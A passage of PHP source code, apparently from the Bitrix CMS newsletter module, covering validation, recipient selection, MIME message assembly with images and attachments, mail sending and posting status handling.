if(!array_key_exists("DIRECT_SEND", $arFields) || $arFields["DIRECT_SEND"]=="N")
{
if(array_key_exists("TO_FIELD", $arFields) && strlen($arFields["TO_FIELD"])<=0)
$aMsg[] = array("id"=>"TO_FIELD", "text"=>GetMessage("class_post_err_to"));
}
if(array_key_exists("SUBJECT", $arFields))
{
if(strlen($arFields["SUBJECT"])<=0)
$aMsg[] = array("id"=>"SUBJECT", "text"=>GetMessage("class_post_err_subj"));
}
if(array_key_exists("BODY", $arFields))
{
if(strlen($arFields["BODY"])<=0)
$aMsg[] = array("id"=>"BODY", "text"=>GetMessage("class_post_err_text"));
}
if(array_key_exists("AUTO_SEND_TIME", $arFields) && $arFields["AUTO_SEND_TIME"]!==false)
{
if($DB->IsDate($arFields["AUTO_SEND_TIME"], false, false, "FULL")!==true)
$aMsg[] = array("id"=>"AUTO_SEND_TIME", "text"=>GetMessage("class_post_err_auto_time"));
}
if(array_key_exists("CHARSET", $arFields))
{
$sCharset = COption::GetOptionString("subscribe", "posting_charset");
$aCharset = explode(",", ToLower($sCharset));
if (!in_array(ToLower($arFields["CHARSET"]), $aCharset))
{
$aMsg[] = array("id"=>"CHARSET", "text"=>GetMessage("class_post_err_charset"));
}
}
if(!empty($aMsg))
{
$e = new CAdminException($aMsg);
$APPLICATION->ThrowException($e);
$this->LAST_ERROR = $e->GetString();
return false;
}
return true;
}
//relation with categories
function UpdateRubrics($ID, $aRubric)
{
global $DB;
$ID = intval($ID);
$DB->Query("DELETE FROM b_posting_rubric WHERE POSTING_ID=".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$arID = array();
if(is_array($aRubric))
foreach($aRubric as $i)
$arID[] = intval($i);
if(count($arID)>0)
$DB->Query("
INSERT INTO b_posting_rubric (POSTING_ID, LIST_RUBRIC_ID)
SELECT ".$ID.", ID
FROM b_list_rubric
WHERE ID IN (".implode(", ",$arID).")
", false, "File: ".__FILE__."<br>Line: ".__LINE__
);
}
//relation with user groups
function UpdateGroups($ID, $aGroup)
{
global $DB;
$ID = intval($ID);
$DB->Query("DELETE FROM b_posting_group WHERE POSTING_ID='".$ID."'", false, "File: ".__FILE__."<br>Line: ".__LINE__);
$arID = array();
if(is_array($aGroup))
foreach($aGroup as $i)
$arID[] = intval($i);
if(count($arID)>0)
$DB->Query("
INSERT INTO b_posting_group (POSTING_ID, GROUP_ID)
SELECT ".$ID.", ID
FROM b_group
WHERE ID IN (".implode(", ",$arID).")
", false, "File: ".__FILE__."<br>Line: ".__LINE__
);
}
//Addition
function Add($arFields)
{
global $DB;
if(!$this->CheckFields($arFields, 0))
return false;
if(!array_key_exists("MSG_CHARSET", $arFields))
$arFields["MSG_CHARSET"] = LANG_CHARSET;
$arFields["VERSION"] = '2';
$ID = $DB->Add("b_posting", $arFields, Array("BCC_FIELD","BODY"));
if($ID > 0)
{
$this->UpdateRubrics($ID, $arFields["RUB_ID"]);
$this->UpdateGroups($ID, $arFields["GROUP_ID"]);
}
return $ID;
}
//Update
function Update($ID, $arFields)
{
global $DB;
$ID = intval($ID);
if(!$this->CheckFields($arFields, $ID))
return false;
$strUpdate = $DB->PrepareUpdate("b_posting", $arFields);
if($strUpdate!="")
{
$strSql = "UPDATE b_posting SET ".$strUpdate." WHERE ID=".$ID;
$arBinds = array(
"BCC_FIELD" => $arFields["BCC_FIELD"],
//"SENT_BCC" => $arFields["SENT_BCC"],
"BODY" => $arFields["BODY"],
//"ERROR_EMAIL" => $arFields["ERROR_EMAIL"],
//"BCC_TO_SEND" => $arFields["BCC_TO_SEND"],
);
if(!$DB->QueryBind($strSql, $arBinds))
return false;
}
if(is_set($arFields, "RUB_ID"))
$this->UpdateRubrics($ID, $arFields["RUB_ID"]);
if(is_set($arFields, "GROUP_ID"))
$this->UpdateGroups($ID, $arFields["GROUP_ID"]);
return true;
}
function GetEmails($post_arr)
{
$aEmail = array();
//send to categories
$aPostRub = array();
$post_rub = CPostingGeneral::GetRubricList($post_arr["ID"]);
while($post_rub_arr = $post_rub->Fetch())
$aPostRub[] = $post_rub_arr["ID"];
$subscr = CSubscription::GetList(
array("ID"=>"ASC"),
array("RUBRIC_MULTI"=>$aPostRub, "CONFIRMED"=>"Y", "ACTIVE"=>"Y",
"FORMAT"=>$post_arr["SUBSCR_FORMAT"], "EMAIL"=>$post_arr["EMAIL_FILTER"])
);
while(($subscr_arr = $subscr->Fetch()))
$aEmail[] = $subscr_arr["EMAIL"];
//send to user groups
$aPostGrp = array();
$post_grp = CPostingGeneral::GetGroupList($post_arr["ID"]);
while($post_grp_arr = $post_grp->Fetch())
$aPostGrp[] = $post_grp_arr["ID"];
if(count($aPostGrp)>0)
{
$user = CUser::GetList(
($b="id"), ($o="asc"),
array("GROUP_MULTI"=>$aPostGrp, "ACTIVE"=>"Y", "EMAIL"=>$post_arr["EMAIL_FILTER"])
);
while(($user_arr = $user->Fetch()))
$aEmail[] = $user_arr["EMAIL"];
}
//from additional emails
$BCC = $post_arr["BCC_FIELD"];
if($post_arr["DIRECT_SEND"] == "Y")
$BCC .= ($BCC <> ""? ",":"").$post_arr["TO_FIELD"];
if($BCC <> "")
{
$BCC = str_replace("\r\n", "\n", $BCC);
$BCC = str_replace("\n", ",", $BCC);
$aBcc = explode(",", $BCC);
foreach ($aBcc as $bccEmail)
{
$bccEmail = trim($bccEmail);
if($bccEmail <> "")
$aEmail[] = $bccEmail;
}
}
$aEmail = array_unique($aEmail);
return $aEmail;
}
public static function AutoSend($ID=false, $limit=false, $site_id=false)
{
if($ID===false)
{
//Here is cron job entry
$cPosting = new CPosting;
$rsPosts = $cPosting->GetList(
array("AUTO_SEND_TIME"=>"ASC", "ID"=>"ASC"),
array("STATUS_ID"=>"P", "AUTO_SEND_TIME_2"=>ConvertTimeStamp(false, "FULL"))
);
while($arPosts=$rsPosts->Fetch())
{
if($limit===true)
{
$maxcount = COption::GetOptionInt("subscribe", "subscribe_max_emails_per_hit") - self::$current_emails_per_hit;
if($maxcount <= 0)
break;
}
else
{
$maxcount = 0;
}
$cPosting->SendMessage($arPosts["ID"], 0, $maxcount);
}
}
else
{
if($site_id && $site_id != SITE_ID)
{
return "CPosting::AutoSend(".$ID.($limit? ",true": ",false").",\"".$site_id."\");";
}
//Here is agent entry
if($limit===true)
{
$maxcount = COption::GetOptionInt("subscribe", "subscribe_max_emails_per_hit") - self::$current_emails_per_hit;
if($maxcount <= 0)
return "CPosting::AutoSend(".$ID.",true".($site_id? ",\"".$site_id."\"": "").");";
}
else
{
$maxcount = 0;
}
$cPosting = new CPosting;
$res = $cPosting->SendMessage($ID, COption::GetOptionString("subscribe", "posting_interval"), $maxcount, true);
if($res == "CONTINUE")
return "CPosting::AutoSend(".$ID.($limit? ",true": ",false").($site_id?",\"".$site_id."\"":"").");";
}
return "";
}
//Send message
function SendMessage($ID, $timeout=0, $maxcount=0, $check_charset=false)
{
global $DB, $APPLICATION;
$eol = \Bitrix\Main\Mail\Mail::getMailEol();
$ID = intval($ID);
$timeout = intval($timeout);
$start_time = getmicrotime();
@set_time_limit(0);
$this->LAST_ERROR = "";
$post = $this->GetByID($ID);
if(!($post_arr = $post->Fetch()))
{
$this->LAST_ERROR .= GetMessage("class_post_err_notfound");
return false;
}
if($post_arr["STATUS"] != "P")
{
$this->LAST_ERROR .= GetMessage("class_post_err_status")."<br>";
return false;
}
if(
$check_charset
&& (strlen($post_arr["MSG_CHARSET"]) > 0)
&& (strtoupper($post_arr["MSG_CHARSET"]) != strtoupper(LANG_CHARSET))
)
{
return "CONTINUE";
}
if(CPosting::Lock($ID)===false)
{
if($e = $APPLICATION->GetException())
{
$this->LAST_ERROR .= GetMessage("class_post_err_lock")."<br>".$e->GetString();
if(strpos($this->LAST_ERROR, "PLS-00201") !== false && strpos($this->LAST_ERROR, "'DBMS_LOCK'") !== false)
$this->LAST_ERROR .= "<br>".GetMessage("class_post_err_lock_advice");
$APPLICATION->ResetException();
return false;
}
else
{
return "CONTINUE";
}
}
if($post_arr["VERSION"] <> '2')
{
if(is_string($post_arr["BCC_TO_SEND"]) && strlen($post_arr["BCC_TO_SEND"])>0)
{
$a = explode(",", $post_arr["BCC_TO_SEND"]);
foreach($a as $e)
$DB->Query("INSERT INTO b_posting_email (POSTING_ID, STATUS, EMAIL) VALUES (".$ID.", 'Y', '".$DB->ForSQL($e)."')");
}
if(is_string($post_arr["ERROR_EMAIL"]) && strlen($post_arr["ERROR_EMAIL"])>0)
{
$a = explode(",", $post_arr["ERROR_EMAIL"]);
foreach($a as $e)
$DB->Query("INSERT INTO b_posting_email (POSTING_ID, STATUS, EMAIL) VALUES (".$ID.", 'E', '".$DB->ForSQL($e)."')");
}
if(is_string($post_arr["SENT_BCC"]) && strlen($post_arr["SENT_BCC"])>0)
{
$a = explode(",", $post_arr["SENT_BCC"]);
foreach($a as $e)
$DB->Query("INSERT INTO b_posting_email (POSTING_ID, STATUS, EMAIL) VALUES (".$ID.", 'N', '".$DB->ForSQL($e)."')");
}
$DB->Query("UPDATE b_posting SET VERSION='2', BCC_TO_SEND=null, ERROR_EMAIL=null, SENT_BCC=null WHERE ID=".$ID);
}
$tools = new CMailTools;
//MIME with attachments
if($post_arr["BODY_TYPE"]=="html" && COption::GetOptionString("subscribe", "attach_images")=="Y")
{
$post_arr["BODY"] = $tools->ReplaceImages($post_arr["BODY"]);
}
if(strlen($post_arr["CHARSET"]) > 0)
{
$from_charset = $post_arr["MSG_CHARSET"]? $post_arr["MSG_CHARSET"]: SITE_CHARSET;
$post_arr["BODY"] = $APPLICATION->ConvertCharset($post_arr["BODY"], $from_charset, $post_arr["CHARSET"]);
$post_arr["SUBJECT"] = $APPLICATION->ConvertCharset($post_arr["SUBJECT"], $from_charset, $post_arr["CHARSET"]);
$post_arr["FROM_FIELD"] = $APPLICATION->ConvertCharset($post_arr["FROM_FIELD"], $from_charset, $post_arr["CHARSET"]);
}
//Preparing message header, text, subject
$sBody = str_replace("\r\n", "\n", $post_arr["BODY"]);
$sBody = implode(
"\n",
array_filter(
preg_split("/(.{512}[^ ]*[ ])/", $sBody." ", -1, PREG_SPLIT_DELIM_CAPTURE)
)
); //Some MTA has 4K limit for fgets function. So we have to split the message body.
if(COption::GetOptionString("main", "CONVERT_UNIX_NEWLINE_2_WINDOWS", "N") == "Y")
$sBody = str_replace("\n", "\r\n", $sBody);
if(COption::GetOptionString("subscribe", "allow_8bit_chars") <> "Y")
{
$sSubject = CMailTools::EncodeSubject($post_arr["SUBJECT"], $post_arr["CHARSET"]);
$sFrom = CMailTools::EncodeHeaderFrom($post_arr["FROM_FIELD"], $post_arr["CHARSET"]);
}
else
{
$sSubject = $post_arr["SUBJECT"];
$sFrom = $post_arr["FROM_FIELD"];
}
if($post_arr["BODY_TYPE"] == "html")
{
//URN2URI
$tmpTools = new CMailTools;
$sBody = $tmpTools->ReplaceHrefs($sBody);
}
$bHasAttachments = false;
$sHeader = "";
$sBoundary = "";
if(count($tools->aMatches) > 0)
{
$bHasAttachments = true;
$sBoundary = "----------".uniqid("");
$sHeader =
'From: '.$sFrom.$eol.
'X-Bitrix-Posting: '.$post_arr["ID"].$eol.
'MIME-Version: 1.0'.$eol.
'Content-Type: multipart/mixed; boundary="'.$sBoundary.'"'.$eol.
'Content-Transfer-Encoding: 8bit';
$sBody =
"--".$sBoundary.$eol.
"Content-Type: ".($post_arr["BODY_TYPE"]=="html"? "text/html":"text/plain").($post_arr["CHARSET"]<>""? "; charset=".$post_arr["CHARSET"]:"").$eol.
"Content-Transfer-Encoding: 8bit".$eol.$eol.
$sBody.$eol;
foreach($tools->aMatches as $attachment)
{
if(strlen($post_arr["CHARSET"]) > 0)
{
$from_charset = $post_arr["MSG_CHARSET"]? $post_arr["MSG_CHARSET"]: SITE_CHARSET;
$attachment["DEST"] = $APPLICATION->ConvertCharset($attachment["DEST"], $from_charset, $post_arr["CHARSET"]);
}
if(COption::GetOptionString("subscribe", "allow_8bit_chars") <> "Y")
$name = CMailTools::EncodeSubject($attachment["DEST"], $post_arr["CHARSET"]);
else
$name = $attachment["DEST"];
$sBody .=
$eol."--".$sBoundary.$eol.
"Content-Type: ".$attachment["CONTENT_TYPE"]."; name=\"".$name."\"".$eol.
"Content-Transfer-Encoding: base64".$eol.
"Content-ID: <".$attachment["ID"].">".$eol.$eol.
chunk_split(
base64_encode(
file_get_contents($attachment["PATH"])
), 72, $eol
);
}
}
$arFiles = array();
$maxFileSize = intval(COption::GetOptionInt("subscribe", "max_file_size"));
$rsFile = CPosting::GetFileList($ID);
while($arFile = $rsFile->Fetch())
{
if (
$maxFileSize == 0
|| $arFile["FILE_SIZE"] <= $maxFileSize
)
$arFiles[] = $arFile;
}
if(!empty($arFiles))
{
if(!$bHasAttachments)
{
$bHasAttachments = true;
$sBoundary = "----------".uniqid("");
$sHeader =
"From: ".$sFrom.$eol.
'X-Bitrix-Posting: '.$post_arr["ID"].$eol.
"MIME-Version: 1.0".$eol.
"Content-Type: multipart/mixed; boundary=\"".$sBoundary."\"".$eol.
"Content-Transfer-Encoding: 8bit";
$sBody =
"--".$sBoundary.$eol.
"Content-Type: ".($post_arr["BODY_TYPE"]=="html"? "text/html":"text/plain").($post_arr["CHARSET"]<>""? "; charset=".$post_arr["CHARSET"]:"").$eol.
"Content-Transfer-Encoding: 8bit".$eol.$eol.
$sBody.$eol;
}
foreach ($arFiles as $arFile)
{
if(strlen($post_arr["CHARSET"]) > 0)
{
$from_charset = $post_arr["MSG_CHARSET"]? $post_arr["MSG_CHARSET"]: SITE_CHARSET;
$file_name = $APPLICATION->ConvertCharset($arFile["ORIGINAL_NAME"], $from_charset, $post_arr["CHARSET"]);
}
else
{
$file_name = $arFile["ORIGINAL_NAME"];
}
$sBody .=
$eol."--".$sBoundary.$eol.
"Content-Type: ".$arFile["CONTENT_TYPE"]."; name=\"".$file_name."\"".$eol.
"Content-Transfer-Encoding: base64".$eol.
"Content-Disposition: attachment; filename=\"".CMailTools::EncodeHeaderFrom($file_name, $post_arr["CHARSET"])."\"".$eol.$eol;
$arTempFile = CFile::MakeFileArray($arFile["ID"]);
$sBody .= chunk_split(
base64_encode(
file_get_contents($arTempFile["tmp_name"])
),
72,
$eol
);
}
}
if($bHasAttachments)
{
$sBody .= $eol."--".$sBoundary."--".$eol;
}
else
{
//plain message without MIME
$sHeader =
"From: ".$sFrom.$eol.
'X-Bitrix-Posting: '.$post_arr["ID"].$eol.
"MIME-Version: 1.0".$eol.
"Content-Type: ".($post_arr["BODY_TYPE"]=="html"? "text/html":"text/plain").($post_arr["CHARSET"]<>""? "; charset=".$post_arr["CHARSET"]:"").$eol.
"Content-Transfer-Encoding: 8bit";
}
$mail_additional_parameters = trim(COption::GetOptionString("subscribe", "mail_additional_parameters"));
$context = new Mail\Context();
$context->setCategory(Mail\Context::CAT_EXTERNAL);
if($post_arr["DIRECT_SEND"] == "Y")
{
//personal delivery
$arEvents = GetModuleEvents("subscribe", "BeforePostingSendMail", true);
$rsEmails = $DB->Query($DB->TopSql("
SELECT *
FROM b_posting_email
WHERE POSTING_ID = ".$ID." AND STATUS='Y'
", $maxcount));
while($arEmail = $rsEmails->Fetch())
{
//Event part
$arFields = array(
"POSTING_ID" => $ID,
"EMAIL" => $arEmail["EMAIL"],
"SUBJECT" => $sSubject,
"BODY" => $sBody,
"HEADER" => $sHeader,
"EMAIL_EX" => $arEmail,
);
foreach($arEvents as $arEvent)
$arFields = ExecuteModuleEventEx($arEvent, array($arFields));
//Sending
if(is_array($arFields))
{
$to = CMailTools::EncodeHeaderFrom($arFields["EMAIL"], $post_arr["CHARSET"]);
$result = bxmail($to, $arFields["SUBJECT"], $arFields["BODY"], $arFields["HEADER"], $mail_additional_parameters, $context);
}
else
{
$result = $arFields !== false;
}
//Result check and iteration
if($result)
$DB->Query("UPDATE b_posting_email SET STATUS='N' WHERE ID = ".$arEmail["ID"]);
else
$DB->Query("UPDATE b_posting_email SET STATUS='E' WHERE ID = ".$arEmail["ID"]);
if($timeout > 0 && getmicrotime()-$start_time >= $timeout)
break;
self::$current_emails_per_hit++;
}
}
else
{
//BCC delivery
$rsEmails = $DB->Query($DB->TopSql("
SELECT *
FROM b_posting_email
WHERE POSTING_ID = ".$ID." AND STATUS='Y'
", COption::GetOptionString("subscribe", "max_bcc_count")));
$aStep = array();
while($arEmail = $rsEmails->Fetch())
$aStep[$arEmail["ID"]] = $arEmail["EMAIL"];
if(count($aStep) > 0)
{
$BCC = implode(",", $aStep);
$sHeaderStep = $sHeader.$eol."Bcc: ".$BCC;
$result = bxmail($post_arr["TO_FIELD"], $sSubject, $sBody, $sHeaderStep, $mail_additional_parameters, $context);
if($result)
{
$DB->Query("UPDATE b_posting_email SET STATUS='N' WHERE ID in (".implode(", ", array_keys($aStep)).")");
}
else
{
$DB->Query("UPDATE b_posting_email SET STATUS='E' WHERE ID in (".implode(", ", array_keys($aStep)).")");
$this->LAST_ERROR .= GetMessage("class_post_err_mail")."<br>";
}
}
}
//set status and delivered and error emails
$arStatuses = $this->GetEmailStatuses($ID);
if(!array_key_exists("Y", $arStatuses))
{
$STATUS = array_key_exists("E", $arStatuses)? "E": "S";
$DATE = $DB->GetNowFunction();
}
else
{
$STATUS = "P";
$DATE = "null";
}
CPosting::UnLock($ID);
$DB->Query("UPDATE b_posting SET STATUS='".$STATUS."', DATE_SENT=".$DATE." WHERE ID=".$ID);
return ($STATUS=="P"? "CONTINUE": true);
}
public static function GetEmailStatuses($ID)
{
global $DB;
$arStatuses = array();
$rs = $DB->Query("
SELECT STATUS, COUNT(*) CNT
FROM b_posting_email
WHERE POSTING_ID = ".intval($ID)."
GROUP BY STATUS
");
while($ar = $rs->Fetch())
$arStatuses[$ar["STATUS"]] = $ar["CNT"];
return $arStatuses;
}
public static function GetEmailsByStatus($ID, $STATUS)
{
global $DB;
return $DB->Query("
SELECT *
FROM b_posting_email
WHERE POSTING_ID = ".intval($ID)."
AND STATUS = '".$DB->ForSQL($STATUS)."'
ORDER BY EMAIL
");
}
function ChangeStatus($ID, $status)
{
global $DB;
$ID = intval($ID);
$this->LAST_ERROR = "";
$strSql = "SELECT STATUS, VERSION FROM b_posting WHERE ID=".$ID;
$db_result = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$arResult = $db_result->Fetch();
if(!$arResult)
{
$this->LAST_ERROR = GetMessage("class_post_err_notfound")."<br>";
return false;
}
if($arResult["STATUS"]==$status)
return true;
switch($arResult["STATUS"].$status)
{
case "DP":
//BCC_TO_SEND fill
$post = $this->GetByID($ID);
if(!($post_arr = $post->Fetch()))
{
$this->LAST_ERROR .= GetMessage("class_post_err_notfound")."<br>";
return false;
}
$DB->Query("DELETE from b_posting_email WHERE POSTING_ID = ".$ID);
$DB->Query("
INSERT INTO b_posting_email (POSTING_ID, STATUS, EMAIL, SUBSCRIPTION_ID, USER_ID)
SELECT DISTINCT
PR.POSTING_ID, 'Y', S.EMAIL, S.ID, S.USER_ID
FROM
b_posting_rubric PR
INNER JOIN b_subscription_rubric SR ON SR.LIST_RUBRIC_ID = PR.LIST_RUBRIC_ID
INNER JOIN b_subscription S ON S.ID = SR.SUBSCRIPTION_ID
LEFT JOIN b_user U ON U.ID = S.USER_ID
WHERE
PR.POSTING_ID = ".$ID."
AND S.CONFIRMED = 'Y'
AND S.ACTIVE = 'Y'
AND (U.ID IS NULL OR U.ACTIVE = 'Y')
".(strlen($post_arr["SUBSCR_FORMAT"]) <= 0 || $post_arr["SUBSCR_FORMAT"]==="NOT_REF" ? "": "AND S.FORMAT='".($post_arr["SUBSCR_FORMAT"]=="text"? "text": "html")."'")."
".(strlen($post_arr["EMAIL_FILTER"]) <= 0 || $post_arr["EMAIL_FILTER"]==="NOT_REF" ? "": "AND ".GetFilterQuery("S.EMAIL", $post_arr["EMAIL_FILTER"], "Y", array("@", ".", "_")))."
");
$DB->Query("
DELETE pe
from b_posting_email pe
left join b_posting_email pe0 on
pe0.POSTING_ID = pe.POSTING_ID
and pe0.EMAIL = pe.EMAIL
WHERE pe.POSTING_ID = ".$ID."
AND pe0.ID < pe.ID
");
//send to user groups
$res = $DB->Query("SELECT * FROM b_posting_group WHERE POSTING_ID = ".$ID." AND GROUP_ID = 2");
if($res->Fetch())
{
$DB->Query("
INSERT INTO b_posting_email (POSTING_ID, STATUS, EMAIL, SUBSCRIPTION_ID, USER_ID)
SELECT
".$ID.", 'Y', U.EMAIL, NULL, MIN(U.ID)
FROM
b_user U
WHERE
U.ACTIVE = 'Y'
".(strlen($post_arr["EMAIL_FILTER"]) <= 0 || $post_arr["EMAIL_FILTER"]==="NOT_REF" ? "": "AND ".GetFilterQuery("U.EMAIL", $post_arr["EMAIL_FILTER"], "Y", array("@", ".", "_")))."
and U.EMAIL not in (SELECT EMAIL FROM b_posting_email WHERE POSTING_ID = ".$ID.")
GROUP BY U.EMAIL
");
}
else
{
$DB->Query("
INSERT INTO b_posting_email (POSTING_ID, STATUS, EMAIL, SUBSCRIPTION_ID, USER_ID)
SELECT
PG.POSTING_ID, 'Y', U.EMAIL, NULL, MIN(U.ID)
FROM
b_posting_group PG
INNER JOIN b_user_group UG ON UG.GROUP_ID = PG.GROUP_ID
INNER JOIN b_user U ON U.ID = UG.USER_ID
WHERE
PG.POSTING_ID = ".$ID."
and (UG.DATE_ACTIVE_FROM is null or UG.DATE_ACTIVE_FROM <= ".$DB->CurrentTimeFunction().")
and (UG.DATE_ACTIVE_TO is null or UG.DATE_ACTIVE_TO >= ".$DB->CurrentTimeFunction().")
and U.ACTIVE = 'Y'
".(strlen($post_arr["EMAIL_FILTER"]) <= 0 || $post_arr["EMAIL_FILTER"]==="NOT_REF" ? "": "AND ".GetFilterQuery("U.EMAIL", $post_arr["EMAIL_FILTER"], "Y", array("@", ".", "_")))."
and U.EMAIL not in (SELECT EMAIL FROM b_posting_email WHERE POSTING_ID = ".$ID.")
GROUP BY PG.POSTING_ID, U.EMAIL
");
}
//from additional emails
$BCC = $post_arr["BCC_FIELD"];
if($post_arr["DIRECT_SEND"] == "Y")
$BCC .= ($BCC <> ""? ",":"").$post_arr["TO_FIELD"];
$BCC = str_replace("\r\n", "\n", $BCC);
$BCC = str_replace("\n", ",", $BCC);
$aBcc = explode(",", $BCC);
foreach($aBcc as $email)
{
$email = trim($email);
if($email <> "")
{
$DB->Query("
INSERT INTO b_posting_email (POSTING_ID, STATUS, EMAIL, SUBSCRIPTION_ID, USER_ID)
SELECT
P.ID, 'Y', '".($DB->ForSQL($email))."', NULL, NULL
FROM
b_posting P
WHERE
P.ID = ".$ID."
and '".($DB->ForSQL($email))."' not in (SELECT EMAIL FROM b_posting_email WHERE POSTING_ID = ".$ID.")
");
}
}
$res = $DB->Query("SELECT count(*) CNT from b_posting_email WHERE POSTING_ID = ".$ID);
$ar = $res->Fetch();
if($ar["CNT"] > 0)
{
$DB->Query("UPDATE b_posting SET STATUS='".$status."', VERSION='2', BCC_TO_SEND=null, ERROR_EMAIL=null, SENT_BCC=null WHERE ID=".$ID);
}
else
{
$this->LAST_ERROR .= GetMessage("class_post_err_status4");
return false;
}
break;
case "PW":
case "WP":
case "PE":
case "PS":
$DB->Query("UPDATE b_posting SET STATUS='".$status."' WHERE ID=".$ID);
break;
case "EW"://This is the way to resend error e-mails
case "EP":
if($arResult["VERSION"] == "2")
{
$DB->Query("UPDATE b_posting_email SET STATUS='Y' WHERE POSTING_ID=".$ID." AND STATUS='E'");
$DB->Query("UPDATE b_posting SET STATUS='".$status."' WHERE ID=".$ID);
}
else
{
//Send it in old fashion way
$DB->Query("UPDATE b_posting SET STATUS='".$status."', BCC_TO_SEND=ERROR_EMAIL, ERROR_EMAIL=null WHERE ID=".$ID);
}
break;
case "ED":
case "SD":
case "WD":
$DB->Query("UPDATE b_posting SET STATUS='".$status."', VERSION='2', SENT_BCC=null, ERROR_EMAIL=null, BCC_TO_SEND=null, DATE_SENT=null WHERE ID=".$ID);
break;
default:
$this->LAST_ERROR = GetMessage("class_post_err_status2");
return false;
}
return true;
}
}
class CMailTools
{
var $aMatches = array();
var $pcre_backtrack_limit = false;
var $server_name = null;
var $maxFileSize = 0;
public static function IsEightBit($str)
{
$len = strlen($str);
for($i=0; $i<$len; $i++)
if(ord(substr($str, $i, 1))>>7)
return true;
return false;
}
public static function EncodeMimeString($text, $charset)
{
if(!CMailTools::IsEightBit($text))
return $text;
$maxl = intval((76 - strlen($charset) + 7)*0.4);
$res = "";
$eol = \Bitrix\Main\Mail\Mail::getMailEol();
$len = strlen($text);
for($i=0; $i<$len; $i=$i+$maxl)
{
if($i>0)
$res .= $eol."\t";
$res .= "=?".$charset."?B?".base64_encode(substr($text, $i, $maxl))."?=";
}
return $res;
}
public static function EncodeSubject($text, $charset)
{
return "=?".$charset."?B?".base64_encode($text)."?=";
}
public static function EncodeHeaderFrom($text, $charset)
{
$i = CUtil::BinStrlen($text);
while($i > 0)
{
if(ord(CUtil::BinSubstr($text, $i-1, 1))>>7)
break;
$i--;
}
if($i==0)
return $text;
else
return "=?".$charset."?B?".base64_encode(CUtil::BinSubstr($text, 0, $i))."?=".CUtil::BinSubstr($text, $i);
}
function __replace_img($matches)
{
$io = CBXVirtualIo::GetInstance();
$src = $matches[3];
if($src == "")
return $matches[0];
if(array_key_exists($src, $this->aMatches))
{
$uid = $this->aMatches[$src]["ID"];
return $matches[1].$matches[2]."cid:".$uid.$matches[4].$matches[5];
}
$filePath = $io->GetPhysicalName($_SERVER["DOCUMENT_ROOT"].$src);
if(!file_exists($filePath))
return $matches[0];
if (
$this->maxFileSize > 0
&& filesize($filePath) > $this->maxFileSize
)
return $matches[0];
$aImage = CFile::GetImageSize($filePath, true);
if (!is_array($aImage))
return $matches[0];
if (function_exists("image_type_to_mime_type"))
$contentType = image_type_to_mime_type($aImage[2]);
else
$contentType = CMailTools::ImageTypeToMimeType($aImage[2]);
$uid = uniqid(md5($src));
$this->aMatches[$src] = array(
"SRC" => $src,
"PATH" => $filePath,
"CONTENT_TYPE" => $contentType,
"DEST" => bx_basename($src),
"ID" => $uid,
);
return $matches[1].$matches[2]."cid:".$uid.$matches[4].$matches[5];
}
function ReplaceHrefs($text)
{
if($this->pcre_backtrack_limit === false)
$this->pcre_backtrack_limit = intval(ini_get("pcre.backtrack_limit"));
$text_len = defined("BX_UTF")? mb_strlen($text, 'latin1'): strlen($text);
$text_len++;
if($this->pcre_backtrack_limit < $text_len)
{
@ini_set("pcre.backtrack_limit", $text_len);
$this->pcre_backtrack_limit = intval(ini_get("pcre.backtrack_limit"));
}
if(!isset($this->server_name))
$this->server_name = COption::GetOptionString("main", "server_name", "");
if($this->server_name != '')
$text = preg_replace(
"/(<a\\s[^>]*?(?<=\\s)href\\s*=\\s*)([\"'])(\\/.*?)(\\2)(\\s.+?>|\\s*>)/is",
"\\1\\2http://".$this->server_name."\\3\\4\\5",
$text
);
return $text;
}
function ReplaceImages($text)
{
if($this->pcre_backtrack_limit === false)
$this->pcre_backtrack_limit = intval(ini_get("pcre.backtrack_limit"));
$text_len = defined("BX_UTF")? mb_strlen($text, 'latin1'): strlen($text);
$text_len++;
if($this->pcre_backtrack_limit < $text_len)
{
@ini_set("pcre.backtrack_limit", $text_len);
$this->pcre_backtrack_limit = intval(ini_get("pcre.backtrack_limit"));
}
$this->maxFileSize = intval(COption::GetOptionInt("subscribe", "max_file_size"));
$this->aMatches = array();
$text = preg_replace_callback(
"/(<img\\s[^>]*?(?<=\\s)src\\s*=\\s*)([\"']?)(.*?)(\\2)(\\s.+?>|\\s*>)/is",
array(&$this, "__replace_img"),
$text
);
$text = preg_replace_callback(
"/(background-image\\s*:\\s*url\\s*\\()([\"']?)(.*?)(\\2)(\\s*\\);)/is",
array(&$this, "__replace_img"),
$text
);
$text = preg_replace_callback(
"/(<td\\s[^>]*?(?<=\\s)background\\s*=\\s*)([\"']?)(.*?)(\\2)(\\s.+?>|\\s*>)/is",
array(&$this, "__replace_img"),
$text
);
$text = preg_replace_callback(
"/(<table\\s[^>]*?(?<=\\s)background\\s*=\\s*)([\"']?)(.*?)(\\2)(\\s.+?>|\\s*>)/is",
array(&$this, "__replace_img"),
$text
);
return $text;
}
public static function ImageTypeToMimeType($type)
{
static $aTypes = array(
1 => "image/gif",
2 => "image/jpeg",
3 => "image/png",
4 => "application/x-shockwave-flash",
5 => "image/psd",
6 => "image/bmp",
7 => "image/tiff",
8 => "image/tiff",
9 => "application/octet-stream",
10 => "image/jp2",
11 => "application/octet-stream",
12 => "application/octet-stream",
13 => "application/x-shockwave-flash",
14 => "image/iff",
15 => "image/vnd.wap.wbmp",
16 => "image/xbm",
);
if (isset($aTypes[$type]))
return $aTypes[$type];
else
return "application/octet-stream";
}
}
?>